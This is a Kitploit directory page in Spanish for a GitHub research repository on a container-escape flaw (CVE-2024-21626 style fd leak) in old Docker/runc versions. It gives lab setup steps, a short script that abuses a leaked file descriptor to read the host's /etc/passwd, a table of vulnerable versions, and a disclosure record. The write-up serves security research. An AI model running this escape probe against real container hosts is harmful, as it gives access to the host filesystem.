Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónEscape de ContenedoresLabs y Práctica
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

Analiza y explota una vulnerabilidad de escape de contenedor en versiones antiguas de Docker/runc, demostrando la fuga de fd para acceder al sistema de archivos del host, con scripts de configuración y prueba.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
6hace 1 añoAún no revisado

Vulnerabilidad de escape de contenedor en componentes antiguos de runc (CVE-2024-21626)

Durante mi análisis sobre CVE-2024-21626 encontré que otros componentes antiguos de Docker son vulnerables a fuga de fd (que no se menciona en el aviso de seguridad GHSA-xr7r-f8xq-vfvv). Lea mi artículo completo para una explicación detallada aquí.

1. Configurar entorno 🔨

A. Descargar e instalar Ubuntu 18.04.6 LTS (Bionic Beaver)

Durante la instalación, no marque la casilla de descargar actualizaciones del sistema.

B. Instalar la versión vulnerable de Docker y los componentes relacionados

  • Vaya a https://download.docker.com/linux/static/stable/x86_64/ y descargue la versión antigua docker-X.Y.Z-ce.tgz para probar

  • Extráigalo, copie el contenido a la ruta /usr/bin y ejecute el demonio de Docker.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. Verificar las versiones instaladas

root@kitploit:~
sudo docker version
containerd --version
uname -r

En versiones antiguas tenemos docker-runc en lugar de runc. Por lo tanto, verifíquelo:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Verifique la versión de docker-runc/runc

root@kitploit:~
runc --version
docker-runc -v

2. Verificar si el objetivo es vulnerable y encontrar el fd correcto 🧐

Ejecute checkVulnerability.sh y vea si el archivo se imprime en la terminal

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

Para este ejemplo, usé la versión docker-17.03.1-ce. verificar vulnerabilidad y encontrar fd

3. Intentar el exploit 🔫

Para este ejemplo, usé la versión docker-17.03.1-ce.

exploit

4. Resultados de las pruebas 🧪

A continuación se muestran los resultados de mi análisis, organizados por versión de Docker y la versión de runc asociada utilizada.

docker-runc

runc

Versión de DockerVersión de runcNúmero de fd filtrado
docker-18.09.0.tgz1.0.0-rc5+dev❌

Aquí está la captura de pantalla que muestra las tres versiones vulnerables diferentes.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

Al igual que con CVE-2024-21626, los diferentes tipos de ataques siguen siendo posibles.

5. Conclusión y conclusiones 🔚

Esta vulnerabilidad es bastante diferente de CVE-2024-21626 porque:

  1. Puede desencadenarse en versiones antiguas de Linux que carecen de la llamada al sistema openat2.
  2. El descriptor de archivo filtrado se encuentra en la ruta /run/runc/<container>/, que contiene el estado de los contenedores en ejecución, en lugar del directorio /sys/fs/cgroup del host.

Lo que descubrí es que las versiones antiguas también son vulnerables a la misma técnica de ataque. Aunque la vulnerabilidad en sí difiere, el resultado es el mismo: obtener acceso al sistema de archivos del host. La conclusión clave es no confiar únicamente en los avisos de seguridad: pruebe todo a fondo. Comprenda completamente el CVE, cómo funciona, experimente con él en un entorno seguro y explore casos límite.

6. Divulgación responsable 🕺🏻

Intenté contactar a [email protected], [email protected] y tratar de abrir un CVE. Recibí las siguientes respuestas:

Descargar herramienta
Versión de DockerVersión de docker-runcNúmero de fd filtrado
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
SolicitudRespuesta
[email protected] (19/03/24)Las versiones que enumeró son todas versiones EOL del software (~7 años de antigüedad) y ya no reciben parches ni mantenimiento por parte de Docker. Si tiene inquietudes sobre las versiones o el texto enumerado en el aviso existente GHSA-xr7r-f8xq-vfvv ("versiones afectadas: >= 1.0.0-rc93, <= 1.1.11"), entonces el canal correcto para informarlo debe ser el buzón de seguridad de OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md. Gracias por comunicarse. Avísenos si hay algo más que podamos hacer.
[email protected] (20/03/24)sin respuesta
CVE-MITRE (15/05/2024)Normalmente no asignamos ID de CVE a problemas que existen solo en versiones candidatas. https://www.cve.org/CVERecord?id=CVE-2024-21626 afectó versiones lanzadas de runc, como la versión 1.1.11.